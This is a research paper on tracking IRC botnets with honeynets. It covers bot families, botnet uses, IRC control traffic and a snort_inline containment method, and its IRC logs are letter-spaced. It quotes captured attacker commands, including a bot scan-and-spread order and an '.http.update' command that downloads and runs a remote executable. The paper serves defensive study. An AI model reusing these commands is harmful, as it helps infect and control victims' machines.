Know your Enemy: Tracking Botnets

Using honeynets to learn more about Bots Primary Authors: Paul Bcher nepenthesdev@gmail.com Thorsten Holz thorsten.holz@gmail.com Markus Ktter nepenthesdev@gmail.com Georg Wicherski georg-wicherski@pixel-house.net Honeypots are a well known technique for discovering the tools, tactics, and motives of attackers. In this paper we look at a special kind of threat: the individuals and organizations who run botnets. A botnet is a network of compromised machines that can be remotely controlled by an attacker. Due to their immense size (tens of thousands of systems can be linked together), they pose a severe threat to the community. With the help of honeynets we can observe the people who run botnets - a task that is difficult using other techniques. Due to the wealth of data logged, it is possible to reconstruct the actions of attackers, the tools they use, and study them in detail. In this paper we take a closer look at botnets, common attack techniques, and the individuals involved. We start with an introduction to botnets and how they work, with examples of their uses. We then briefly analyze the three most common bot variants used. Next we discuss a technique to observe botnets, allowing us to monitor the botnet and observe all commands issued by the attacker. We present common behavior we captured, as well as statistics on the quantitative information learned through monitoring more than one hundred botnets during the last few months. We conclude with an overview of lessons learned and point out further research topics in the area of botnettracking, including a tool called mwcollect2 that focuses on collecting malware in an automated fashion.

Introduction
These days, home PCs are a desirable target for attackers. Most of these systems run Microsoft Windows and often are not properly patched or secured behind a firewall, leaving them vulnerable to attack. In addition to these direct attacks, indirect attacks against programs the victim uses are steadily increasing. Examples of these indirect attacks include malicious HTML-files that exploit vulnerabilities in Microsoft's Internet Explorer or attacks using malware in Peer-to-Peer networks. Especially machines with broadband connection that are always on are a valuable target for attackers. As broadband connections increase, so to do the number of potential victims of attacks. Crackers benefit from this situation and use it for their own advantage. With automated techniques they scan specific network ranges of the Internet searching for vulnerable systems with known weaknesses. Attackers often target Class B networks (/ 1 6in CIDR notation) or smaller net-ranges. Once these attackers have compromised a machine, they install a so called IRC bot - also called zombie or drone - on it. Internet Relay Chat (IRC) is a form of real-time communication over the Internet. It is mainly designed for group (oneto-many) communication in discussion forums called channels, but also allows one-to-one communication. More information about IRC can be found on Wikipedia. We have identified many different versions of IRC-based bots (in the following we use the term bot) with varying degrees of sophistication and implemented commands, but all have something in common. The bot joins a specific IRC channel on an IRC server and waits there for further commands. This allows an attacker to remotely control this bot and use it for fun and also for profit. Attackers even go a step further and bring different bots together. Such a structure, consisting of many compromised machines which can be managed from an IRC channel, is called a botnet. IRC is not the best solution since the communication between bots and their controllers is rather bloated, a simpler

communication protocol would suffice. But IRC offers several advantages: IRC Servers are freely available and are easy to set up, and many attackers have years of IRC communication experience. Due to their immense size - botnets can consist of several ten thousand compromised machines - botnets pose serious threats. Distributed denial-of-service (DDoS) attacks are one such threat. Even a relatively small botnet with only 1000 bots can cause a great deal of damage. These 1000 bots have a combined bandwidth (1000 home PCs with an average upstream of 128KBit/s can offer more than 100MBit/s) that is probably higher than the Internet connection of most corporate systems. In addition, the IP distribution of the bots makes ingress filter construction, maintenance, and deployment difficult. In addition, incident response is hampered by the large number of separate organizations involved. Another use for botnets is stealing sensitive information or identity theft: Searching some thousands home PCs for password.txt , or sniffing their traffic, can be effective. The spreading mechanisms used by bots is a leading cause for "background noise" on the Internet, especially on TCP ports 445 and 135. In this context, the term spreading describes the propagation methods used by the bots. These malware scan large network ranges for new vulnerable computers and infect them, thus acting similar to a worm or virus. An analysis of the traffic captured by the German Honeynet Project shows that most traffic targets the ports used for resource sharing on machines running all versions of Microsoft's Windows operating system: Port 445/TCP (Microsoft-DS Service) is used for resource sharing on machines running Windows 2000, XP, or 2003, and other CIFS based connections. This port is for example used to connect to file shares. Port 139/TCP (NetBIOS Session Service) is used for resource sharing on machines running Windows 9x, ME and NT. Again, this port is used to connect to file shares. Port 137/UDP (NetBIOS Name Service) is used by computers running Windows to find out information concerning the networking features offered by another computer. The information that can be retrieved this way include system name, name of file shares, and more. And finally, port 135/TCP is used by Microsoft to implement Remote Procedure Call (RPC) services. An RPC service is a protocol that allows a computer program running on one host to cause code to be executed on another host without the programmer needing to explicitly code for this. The traffic on these four ports cause more then 80 percent of the whole traffic captured. Further research with tools such as Nmap, Xprobe2 and p0f reveal that machines running Windows XP and 2000 represent the most affected software versions. Clearly most of the activity on the ports listed above is caused by systems with Windows XP (often running Service Pack 1), followed by systems with Windows 2000. Far behind, systems running Windows 2003 or Windows 95/98 follow. But what are the real causes of these malicious packets? Who and what is responsible for them? And can we do something to prevent them? In this paper we want to show the background of this traffic and further elaborate the causes. We show how attackers use IRC bots to control and build networks of compromised machines (botnet) to further enhance the effectiveness of their work. We use classical GenII-Honeynets with some minor modifications to learn some key information, for example the IP address of a botnet server or IRC channel name and password. This information allows us to connect to the botnet and observe all the commands issued by the attacker. At times we are even able to monitor their communication and thus learn more about their motives and social behavior. In addition, we give some statistics on the quantitative information we have learned through monitoring of more than one hundred botnets during the last few months. Several examples of captured activities by attackers substantiate our presentation. For this research, a Honeynet of only three machines was used. One dial-in host within the network of the German ISP T-Online, one dial-in within the network of the German ISP NetCologne and one machine deployed at RWTH Aachen University. The hosts in the network of the university runs an unpatched version of Windows 2000 and is located behind a Honeywall. The dial-in hosts run a newly developed software called m w c o l l e c t d 2 , designed to capture malware. We monitor the botnet activity with our own IRC client called d r o n e . Both are discussed in greater

detail later in this paper. Almost all Bots use a tiny collection of exploits to spread further. Since the Bots are constantly attempting to compromise more machines, they generate noticeable traffic within a network. Normally bots try to exploit well-known vulnerabilities. Beside from the ports used for resource sharing as listed above, bots often use vulnerability-specific ports. Examples of these ports include: 42 - WINS (Host Name Server) 80 - www (vulnerabilities in Internet Information Server 4 / 5 or Apache) 903 - NetDevil Backdoor 1025 - Microsoft Remote Procedure Call (RPC) service and Windows Messenger port 1433 - ms-sql-s (Microsoft-SQL-Server) 2745 - backdoor of Bagle worm (mass-mailing worm) 3127 - backdoor of MyDoom worm (mass-mailing worm) 3306 - MySQL UDF Weakness 3410 - vulnerability in Optix Pro remote access trojan (Optix Backdoor) 5000 - upnp (Universal Plug and Play: MS01-059 - Unchecked Buffer in Universal Plug and Play can Lead to System Compromise) 6129 - dameware (Dameware Remote Admin - DameWare Mini Remote Control Client Agent Service PreAuthentication Buffer Overflow Vulnerability) The vulnerabilities behind some of these exploits can be found with the help of a search on Microsoft's Security bulletins (sample): MS03-007 Unchecked Buffer In Windows Component Could Cause Server Compromise MS03-026 Buffer Overrun In RPC Interface Could Allow Code Execution MS04-011 Security Update for Microsoft Windows MS04-045 Vulnerability in WINS Could Allow Remote Code Execution

Uses of botnets
"A botnet is comparable to compulsory military service for windows boxes" - Stromberg A botnet is nothing more then a tool, there are as many different motives for using them as there are people. The most common uses were criminally motivated (i.e. monetary) or for destructive purposes. Based on the data we captured, the possibilities to use botnets can be categorized as listed below. And since a botnet is nothing more then a tool, there are most likely other potential uses that we have not listed. 1. Distributed Denial-of-Service Attacks Often botnets are used for Distributed Denial-of-Service (DDoS) attacks. A DDoS attack is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system. In addition, the resources on the path are exhausted if the DDoS-attack causes many packets per second (pps). Each bot we have analyzed so far includes several different possibilities to carry out a DDoS attack against other hosts. Most commonly implemented and also very often used are TCP SYN and UDP flood attacks. Script kiddies apparently consider DDoS an appropriate solution to every social problem. Further research showed that botnets are even used to run commercial DDoS attacks against competing

corporations: Operation Cyberslam documents the story of Jay R. Echouafni and Joshua Schichtel alias EMP. Echouafni was indicted on August 25, 2004 on multiple charges of conspiracy and causing damage to protected computers. He worked closely together with EMP who ran a botnet to send bulk mail and also carried out DDoS attacks against the spam blacklist servers. In addition, they took Speedera - a global on-demand computing platform - offline when they ran a paid DDoS attack to take a competitor's website down. Note that DDoS attacks are not limited to web servers, virtually any service available on the Internet can be the target of such an attack. Higher-level protocols can be used to increase the load even more effectively by using very specific attacks, such as running exhausting search queries on bulletin boards or recursive HTTP-floods on the victim's website. Recursive HTTP-flood means that the bots start from a given HTTP link and then follows all links on the provided website in a recursive way. This is also called spidering. 2. Spamming Some bots offer the possibility to open a SOCKS v4/v5 proxy - a generic proxy protocol for TCP/IP-based networking applications (RFC 1928) - on a compromised machine. After having enabled the SOCKS proxy, this machine can then be used for nefarious tasks such as spamming. With the help of a botnet and thousands of bots, an attacker is able to send massive amounts of bulk email (spam). Some bots also implement a special function to harvest email-addresses. Often that spam you are receiving was sent from, or proxied through, grandma's old Windows computer sitting at home. In addition, this can of course also be used to send phishingmails since phishing is a special case of spam. 3. Sniffing Traffic Bots can also use a packet sniffer to watch for interesting clear-text data passing by a compromised machine. The sniffers are mostly used to retrieve sensitive information like usernames and passwords. But the sniffed data can also contain other interesting information. If a machine is compromised more than once and also a member of more than one botnet, the packet sniffing allows to gather the key information of the other botnet. Thus it is possible to "steal" another botnet. 4. Keylogging If the compromised machine uses encrypted communication channels (e.g. HTTPS or POP3S), then just sniffing the network packets on the victim's computer is useless since the appropriate key to decrypt the packets is missing. But most bots also offer features to help in this situation. With the help of a keylogger it is very easy for an attacker to retrieve sensitive information. An implemented filtering mechanism (e.g. "I am only interested in key sequences near the keyword 'paypal.com'") further helps in stealing secret data. And if you imagine that this keylogger runs on thousands of compromised machines in parallel you can imagine how quickly PayPal accounts are harvested. 5. Spreading new malware In most cases, botnets are used to spread new bots. This is very easy since all bots implement mechanisms to download and execute a file via HTTP or FTP. But spreading an email virus using a botnet is a very nice idea, too. A botnet with 10.000 hosts which acts as the start base for the mail virus allows very fast spreading and thus causes more harm. The Witty worm, which attacked the ICQ protocol parsing implementation in Internet Security Systems (ISS) products is suspected to have been initially launched by a botnet due to the fact that the attacking hosts were not running any ISS services. 6. Installing Advertisement Addons and Browser Helper Objects (BHOs) Botnets can also be used to gain financial advantages. This works by setting up a fake website with some advertisements: The operator of this website negotiates a deal with some hosting companies that pay for clicks on ads. With the help of a botnet, these clicks can be "automated" so that instantly a few thousand bots click on the pop-ups. This process can be further enhanced if the bot hijacks the start-page of a compromised machine so that the "clicks" are executed each time the victim uses the browser. 7. Google AdSense abuse A similar abuse is also possible with Google's AdSense program: AdSense offers companies the possibility to display Google advertisements on their own website and earn money this way. The company earns money due to clicks on these ads, for example per 10.000 clicks in one month. An attacker can abuse this program by

leveraging his botnet to click on these advertisements in an automated fashion and thus artificially increments the click counter. This kind of usage for botnets is relatively uncommon, but not a bad idea from an attacker's perspective. 8. Attacking IRC Chat Networks Botnets are also used for attacks against Internet Relay Chat (IRC) networks. Popular among attackers is especially the so called "clone attack": In this kind of attack, the controller orders each bot to connect a large number of clones to the victim IRC network. The victim is flooded by service request from thousands of bots or thousands of channel-joins by these cloned bots. In this way, the victim IRC network is brought down - similar to a DDoS attack. 9. Manipulating online polls/games Online polls/games are getting more and more attention and it is rather easy to manipulate them with botnets. Since every bot has a distinct IP address, every vote will have the same credibility as a vote cast by a real person. Online games can be manipulated in a similar way. Currently we are aware of bots being used that way, and there is a chance that this will get more important in the future. 10. Mass identity theft Often the combination of different functionality described above can be used for large scale identity theft, one of the fastest growing crimes on the Internet. Bogus emails ("phishing mails") that pretend to be legitimate (such as fake PayPal or banking emails) ask their intended victims to go online and submit their private information. These fake emails are generated and sent by bots via their spamming mechanism. These same bots can also host multiple fake websites pretending to be Ebay, PayPal, or a bank, and harvest personal information. Just as quickly as one of these fake sites is shut down, another one can pop up. In addition, keylogging and sniffing of traffic can also be used for identity theft. This list demonstrates that attackers can cause a great deal of harm or criminal activity with the help of botnets. Many of these attacks - especially DDoS attacks - pose severe threats to other systems and are hard to prevent. In addition, we are sure there are many other uses we have yet to discover. As a result, we need a way to learn more about this threat, learn how attackers usually behave and develop techniques to battle against them. Honeynets can help us in all three areas: 1. With the help of honeynets we are able to learn some key information (e.g. IP address of the server or nickname of the bot) that enable us to observe botnets. We can "collect" binaries of bots and extract the sensitive information in a semi-automated fashion with the help of a classical Honeywall. 2. We are able to monitor the typical commands issued by attackers and sometimes we can even capture their communication. This helps us in learning more about the motives of attackers and their tactics. 3. An automated method to catch information about botnets and a mechanism to effectively track botnets can even help to fight against botnets. After we have introduced and analyzed some of the most popular bots in the next Section, we are going to present a technique to track botnets.

Different Types of Bots

During our research, we found many different types of bots in the wild. In this section we present some of the more widespread and well-known bots. We introduce the basic concepts of each piece of malware and furthermore describe some of the features in more detail. In addition, we show several examples of source code from bots and list parts of their command set. Agobot/Phatbot/Forbot/XtremBot This is probably the best known bot. Currently, the AV vendor Sophos lists more than 500 known different

versions of Agobot (Sophos virus analyses) and this number is steadily increasing. The bot itself is written in C++ with cross-platform capabilities and the source code is put under the GPL. Agobot was written by Ago alias Wonk, a young German man who was arrested in May 2004 for computer crime. The latest available versions of Agobot are written in tidy C++ and show a really high abstract design. The bot is structured in a very modular way, and it is very easy to add commands or scanners for other vulnerabilities: Simply extend the C C o m m a n d H a n d l e ror C S c a n n e rclass and add your feature. Agobot uses libpcap (a packet sniffing library) and Perl Compatible Regular Expressions (PCRE) to sniff and sort traffic. Agobot can use NTFS Alternate Data Stream (ADS) and offers Rootkit capabilities like file and process hiding to hide it's own presence on a compromised host. Furthermore, reverse engineering this malware is harder since it includes functions to detect debuggers (e.g. SoftICE and OllyDbg) and virtual machines (e.g. VMWare and Virtual PC). In addition, Agobot is the only bot that utilized a control protocol other than IRC. A fork using the distributed organized WASTE chat network is available. Furthermore, the Linux version is able to detect the Linux distribution used on the compromised host and sets up a correct init script. Summarizing: "The code reads like a charm, it's like dating the devil." SDBot/RBot/UrBot/UrXBot/... This family of malware is at the moment the most active one: Sophos lists currently seven derivatives on the "Latest 10 virus alerts". SDBot is written in very poor C and also published under the GPL. It is the father of RBot, RxBot, UrBot, UrXBot, JrBot, .. and probably many more. The source code of this bot is not very well designed or written. Nevertheless, attackers like it, and it is very often used in the wild. It offers similar features to Agobot, although the command set is not as large, nor the implementation as sophisticated. mIRC-based Bots - GT-Bots We subsume all mIRC-based bots as GT-bots, since there are so many different versions of them that it is hard to get an overview of all forks. mIRC itself is a popular IRC client for Windows. GT is an abbreviation for Global Threat and this is the common name used for all mIRC-scripted bots. These bots launch an instance of the mIRC chat-client with a set of scripts and other binaries. One binary you will never miss is a HideWindow executable used to make the mIRC instance unseen by the user. The other binaries are mainly Dynamic Link Libraries (DLLs) linked to mIRC that add some new features the mIRC scripts can use. The mIRC-scripts, often having the extension ".mrc", are used to control the bot. They can access the scanners in the DLLs and take care of further spreading. GT-Bots spread by exploiting weaknesses on remote computers and uploading themselves to compromised hosts (filesize > 1 MB). Besides these three types of bots which we find on a nearly daily basis, there are also other bots that we see more seldom. Some of these bots offer "nice" features and are worth mentioning here: DSNX Bots The Dataspy Network X (DSNX) bot is written in C++ and has a convenient plugin interface. An attacker can easily write scanners and spreaders as plugins and extend the bot's features. Again, the code is published under the GPL. This bot has one major disadvantage: the default version does not come with any spreaders. But plugins are available to overcome this gap. Furthermore, plugins that offer services like DDoS-attacks, portscan-interface or hidden HTTP-server are available. Q8 Bots Q8bot is a very small bot, consisting of only 926 lines of C-code. And it has one additional noteworthiness: It's written for Unix/Linux systems. It implements all common features of a bot: Dynamic updating via HTTPdownloads, various DDoS-attacks (e.g. SYN-flood and UDP-flood), execution of arbitrary commands, and many more. In the version we have captured, spreaders are missing. But presumably versions of this bot exist which also include spreaders. kaiten This bot lacks a spreader too, and is also written for Unix/Linux systems. The weak user authentication makes it very easy to hijack a botnet running with kaiten. The bot itself consists of just one file. Thus it is very easy to fetch the source code using wget, and compile it on a vulnerable box using a script. Kaiten offers an easy

remote shell, so checking for further vulnerabilities to gain privileged access can be done via IRC. Perl-based bots There are many different version of very simple based on the programming language Perl. These bots are very small and contain in most cases only a few hundred lines of code. They offer only a rudimentary set of commands (most often DDoS-attacks) and are used on Unix-based systems.

What Bots Do and How They Work

After having introduced different types of bots, we now want to take a closer look at what these bots normally do and how they work. This section will in detail explain how bots spread and how they are controlled by their masters. After successful exploitation, a bot uses Trivial File Transfer Protocol (TFTP), File Transfer Protocol (FTP), HyperText Transfer Protocol (HTTP), or CSend (an IRC extension to send files to other users, comparable to DCC) to transfer itself to the compromised host. The binary is started, and tries to connect to the hard-coded master IRC server. Often a dynamic DNS name is provided (for example one from www.dyndns.org) rather than a hard coded IP address, so the bot can be easily relocated. Some bots even remove themselves if the given master server is localhost or in a private subnet, since this indicates an unusual situations. Using a special crafted nickname like USA|743634 or [UrX]-98439854 the bot tries to join the master's channel, sometimes using a password to keep strangers out of the channel. A typical communication that can be observed after a successful infection looks like:
< -: i r c 1 . X X X X X X . X X XN O T I C EA U T H: * * *L o o k i n gu py o u rh o s t n a m e . . . < -: i r c 1 . X X X X X X . X X XN O T I C EA U T H: * * *F o u n dy o u rh o s t n a m e >P A S Ss e c r e t s e r v e r p a s s >N I C K[ u r X ] 7 0 0 1 5 9 >U S E Rm l t f v t00: m l t f v t < -: i r c 1 . X X X X X X . X X XN O T I C E[ u r X ] 7 0 0 1 5 9: * * *I fy o ua r eh a v i n gp r o b l e m sc o n n e c t i n gd u et o p i n gt i m e o u t s ,p l e a s et y p e/ q u o t ep o n gE D 3 2 2 7 2 2o r/ r a wp o n gE D 3 2 2 7 2 2n o w . < -P I N G: E D 3 2 2 7 2 2 >P O N G: E D 3 2 2 7 2 2 < -: i r c 1 . X X X X X X . X X X0 0 1[ u r X ] 7 0 0 1 5 9: W e l c o m et ot h ei r c 1 . X X X X X X . X X XI R CN e t w o r k [ u r X ] 7 0 0 1 5 9 ! m l t f v t @ n i c e t r y < -: i r c 1 . X X X X X X . X X X0 0 2[ u r X ] 7 0 0 1 5 9: Y o u rh o s ti si r c 1 . X X X X X X . X X X ,r u n n i n gv e r s i o n U n r e a l 3 . 2 b e t a 1 9 < -: i r c 1 . X X X X X X . X X X0 0 3[ u r X ] 7 0 0 1 5 9: T h i ss e r v e rw a sc r e a t e dS u nF e b 81 8 : 5 8 : 3 12 0 0 4 < -: i r c 1 . X X X X X X . X X X0 0 4[ u r X ] 7 0 0 1 5 9i r c 1 . X X X X X X . X X XU n r e a l 3 . 2 b e t a 1 9 i o w g h r a A s O R T V S x N C W q B z v d H t G pl v h o p s m n t i k r R c a q O A L Q b S e K V f M G C u z N

Afterwards, the server accepts the bot as a client and sends him RPL_ISUPPORT, RPL_MOTDSTART, RPL_MOTD, RPL_ENDOFMOTD or ERR_NOMOTD. Replies starting with RPL_ contain information for the client, for example RPL_ISUPPORT tells the client which features the server understands and RPL_MOTD indicates the Message Of The Day (MOTD). In contrast to this, ERR_NOMOTD is an error message if no MOTD is available. In the following listing, these replies are highlihted with colors:
< -: i r c 1 . X X X X X X . X X X0 0 5[ u r X ] 7 0 0 1 5 9M A PK N O C KS A F E L I S TH C NM A X C H A N N E L S = 2 5M A X B A N S = 6 0 N I C K L E N = 3 0T O P I C L E N = 3 0 7K I C K L E N = 3 0 7M A X T A R G E T S = 2 0A W A Y L E N = 3 0 7: a r es u p p o r t e db yt h i s s e r v e r < -: i r c 1 . X X X X X X . X X X0 0 5[ u r X ] 7 0 0 1 5 9W A L L C H O P SW A T C H = 1 2 8S I L E N C E = 5M O D E S = 1 2C H A N T Y P E S = # P R E F I X = ( q a o h v ) ~ & @ % +C H A N M O D E S = b e , k f L , l , p s m n t i r R c O A Q K V G C u z N S MN E T W O R K = i r c 1 . X X X X X X . X X X C A S E M A P P I N G = a s c i i: a r es u p p o r t e db yt h i ss e r v e r < -: i r c 1 . X X X X X X . X X X3 7 5[ u r X ] 7 0 0 1 5 9: -i r c 1 . X X X X X X . X X XM e s s a g eo ft h eD a y< -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -2 0 / 1 2 / 2 0 0 47 : 4 5 < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: --. + < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -+ . < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -_ _ _ .

< -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. . < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -< -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -+ < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. | . ) ~ . _ _ / < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -< -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -+ \ ^ . < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. R o w . < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -< -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -< -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -. . < -: i r c 1 . X X X X X X . X X X3 7 2[ u r X ] 7 0 0 1 5 9: -< -: i r c 1 . X X X X X X . X X X3 7 6[ u r X ] 7 0 0 1 5 9: E n do f/ M O T Dc o m m a n d . < -: [ u r X ] 7 0 0 1 5 9M O D E[ u r X ] 7 0 0 1 5 9: + i

_ . " ~ ~_ _ " . , " . ~ ~ " \ . ^ + / () ~

{ _ . . _/ / . Y / Y | | \ _ j (l _ _ " . ( _ _ _

. l \ \ ^ .

_ ) " l " .

" . _ ~ . _ _ _ , " . . _ _ _ _ _ . ^

> M o o n < -

On RPL_ENDOFMOTD or ERR_NOMOTD, the bot will try to join his master's channel with the provided password:
>J O I N# f o o b a rc h a n n e l p a s s w o r d >M O D E[ u r X ] 7 0 0 1 5 9+ x

The bot receives the topic of the channel and interprets it as a command:
< -: i r c 1 . X X X X X X . X X X3 3 2[ u r X ] 7 0 0 1 5 9# f o o b a r: . a d v s c a nl s a s s2 0 050rs < -: [ u r X ] 7 0 0 1 5 9 ! m l t f v t @ n i c e t r yJ O I N: # f o o b a r < -: i r c 1 . X X X X X X . X X XM O D E# f o o b a r+ s m n t u kc h a n n e l p a s s w o r d

Most botnets use a topic command like 1. ".advscan lsass 200 5 0 -r -s" 2. ".http.update http://<server>/~mugenxu/rBot.exe c:\msy32awds.exe 1" The first topic tells the bot to spread further with the help of the LSASS vulnerability. 200 concurrent threads should scan with a delay of 5 seconds for an unlimited time (parameter 0). The scans should be random (parameter -r) and silent (parameter -s), thus avoiding too much traffic due to status reports. In contrast to this, the second example of a possible topic instructs the bot to download a binary from the web and execute it (parameter 1). And if the topic does not contain any instructions for the bot, then it does nothing but idling in the channel, awaiting commands. That is fundamental for most current bots: They do not spread if they are not told to spread in their master's channel. Upon successful exploitation the bot will message the owner about it, if it has been advised to do so.
>P R I V M S G# f o o b a r: [ l s a s s ] :E x p l o i t i n gI P :2 0 0 . 1 2 4 . 1 7 5 . X X X >P R I V M S G# f o o b a r: [ T F T P ] :F i l et r a n s f e rs t a r t e dt oI P :2 0 0 . 1 2 4 . 1 7 5 . X X X ( C : \ W I N D O W S \ S y s t e m 3 2 \ N A V . e x e ) .

Then the IRC server (also called IRC daemon, abbreviated IRCd) will provide the channels userlist. But most botnet

owners have modified the IRCd to just send the channel operators to save traffic and disguise the number of bots in the channel.
< -: i r c 1 . X X X X X X . X X X3 5 3[ u r X ] 7 0 0 1 5 9@# f o o b a r: @ J A H < -: i r c 1 . X X X X X X . X X X3 6 6[ u r X ] 7 0 0 1 5 9# f o o b a r: E n do f/ N A M E Sl i s t . < -: i r c 1 . X X X X X X . X X XN O T I C E[ u r X ] 7 0 0 1 5 9: B O T M O T DF i l en o tf o u n d < -: [ u r X ] 7 0 0 1 5 9M O D E[ u r X ] 7 0 0 1 5 9: + x

The controller of a botnet has to authenticate himself to take control over the bots. This authentication is done with the help of a command prefix and the "auth" command. The command prefix is used to login the master on the bots and afterwards he has to authenticate himself. For example,
. l o g i nl e e t 0 . l ap l m ps

are commands used on different bots to approve the controller. Again, the "-s" switch in the last example tells the bots to be silent when authenticating their master. Else they reply something like
[ M A I N ] :P a s s w o r da c c e p t e d . [ r [ X ] S h 0 [ x ] ] :. : (P a s s w o r dA c c e t t a t a) : ..

which can be a lot of traffic if you have 10,000 bots on your network. Once an attacker is authenticated, they can do whatever they want with the bots: Searching for sensitive information on all compromised machines and DCC-sending these files to another machine, DDoS-ing individuals or organizations, or enabling a keylogger and looking for PayPal or eBay account information. These are just a few possible commands, other options have been presented in the previous section. The IRC server that is used to connect all bots is in most cases a compromised box. This is probably because an attacker would not receive operator-rights on a normal chat network and thus has to set-up their own IRC server which offers more flexibility. Furthermore, we made some other interesting observations: Only beginners start a botnet on a normal IRCd. It is just too obvious you are doing something nasty if you got 1.200 clients named as rbot-<6-digits> reporting scanning results in a channel. Two different IRC servers software implementation are commonly used to run a botnet: Unreal IRCd and ConferenceRoom: Unreal IRCd (http://www.unrealircd.com/) is cross-platform and can thus be used to easily link machines running Windows and Linux. The IRC server software is stripped down and modified to fit the botnet owners needs. Common modifications we have noticed are stripping "JOIN", "PART" and "QUIT" messages on channels to avoid unnecessary traffic. In addition, the messages "LUSERS" (information about number of connected clients) and "RPL_ISUPPORT" are removed to hide identity and botnet size. We recently got a win32 binary only copy of a heavily modified Unreal IRCd that was stripped down and optimized. The filenames suggest that this modified IRCd is able to serve 80.000 bots:
c a c 8 6 2 9 c 7 1 3 9 b 4 8 4 e 4 a 1 9 a 5 3 c a a a 6 b e 0 U N R E A L . 3 . 2 m 0 d d e d L y R . r a r 9 d b a f 0 1 b 5 3 0 5 f 0 8 b d 8 c 2 2 c 6 7 e 4 b 4 f 7 2 9 U n r e a l 8 0 k [ M A X ] u s e r s . r a r d e 4 c 1 f b c 4 9 7 5 b 6 1 e b e b 0 d b 7 8 d 1 f b a 8 4 f u n r e a l m o d d e d 8 0 k u s e r s 1 . r a r

As we don't run a 80,000 user botnet and lack 80,000 developers in our group we are not able to verify that information. But probably such huge botnets are used by cyber criminals for "professional" attacks. These kind of networks can cause severe damage since they offer a lot of bandwidth and many targets for identity theft. ConferenceRoom (http://www.webmaster.com/) is a commercial IRCd solution, but people who run botnets typically use a cracked version. ConferenceRoom offers the possibility of several thousand simultaneous

connections, with nickname and channel registration, buddy lists and server to server linking. Surprisingly we already found a Microsoft Chat Server as botnet host, and it seemed to run stable. Since the people who run botnets often share the same motives (DDoS attacks or other crimes) every bot family has its own set of commands to implement the same goals. Agobot is really nice here: Just grep the source for R e g i s t e r C o m m a n dand get the whole command-list with a complete description of all features. Due to the lack of clean design, the whole SDBot family is harder to analyze. Often the command set is changed in various forks of the same bot and thus an automated analysis of the implemented commands is nearly impossible. If you are interested in learning more about the different bot commands, we have a more detailed overview of command analysis in botnet commands. In addition, if you are interested in learning more about source code of bots, you can find more detail in the separate page on botnet source code.

How to Track Botnets

In this section we introduce our methodology to track and observe botnets with the help of honeypots. Tracking botnets is clearly a multi-step operation: First one needs to gather some data about an existing botnets. This can for example be obtained via an analysis of captured malware. Afterwards one can hook a client in the networks and gather further information. In the first part of this section we thus want to introduce our techniques to retrieve the necessary information with the help of honeypots. And thereafter we present our approach in observing botnets.

Getting information with the help of honeynets

As stated before, we need some sensitive information from each botnet that enables us to place a fake bot into a botnet. The needed information include: DNS/IP-address of IRC server and port number (optional) password to connect to IRC-server Nickname of bot and ident structure Channel to join and (optional) channel-password. Using a GenII Honeynet containing some Windows honeypots and snort_inline enables us to collect this information. We deployed a typical GenII Honeynet with some small modifications as depicted in the next figure:

The Windows honeypot is an unpatched version of Windows 2000 or Windows XP. This system is thus very

vulnerable to attacks and normally it takes only a couple of minutes before it is successfully compromised. It is located within a dial-in network of a German ISP. On average, the expected lifespan of the honeypot is less than ten minutes. After this small amount of time, the honeypot is often successfully exploited by automated malware. The shortest compromise time was only a few seconds: Once we plugged the network cable in, an SDBot compromised the machine via an exploit against TCP port 135 and installed itself on the machine. As explained in the previous section, a bot tries to connect to an IRC server to obtain further commands once it successfully attacks one of the honeypots. This is where the Honeywall comes into play: Due to the Data Control facilities installed on the Honeywall, it is possible to control the outgoing traffic. We use snort_inline for Data Control and replace all outgoing suspicious connections. A connection is suspicious if it contains typical IRC messages like " 332 ", " TOPIC ", " PRIVMSG " or " NOTICE ". Thus we are able to inhibit the bot from accepting valid commands from the master channel. It can therefore cause no harm to others - we have caught a bot inside our Honeynet. As a side effect, we can also derive all necessary sensitive information for a botnet from the data we have obtained up to that point in time: The Data Capture capability of the Honeywall allows us to determine the DNS/IP-address the bot wants to connect to and also the corresponding port number. In addition, we can derive from the Data Capture logs the nickname and ident information. Also, the server's password, channel name as well as the channel password can be obtained this way. So we have collected all necessary information and the honeypot can catch further malware. Since we do not care about the captured malware for now, we rebuild the honeypots every 24 hours so that we have "clean" systems every day. The German Honeynet Project is also working on another project - to capture the incoming malware and analyzing the payload - but more on this in a later section.

Observing Botnets
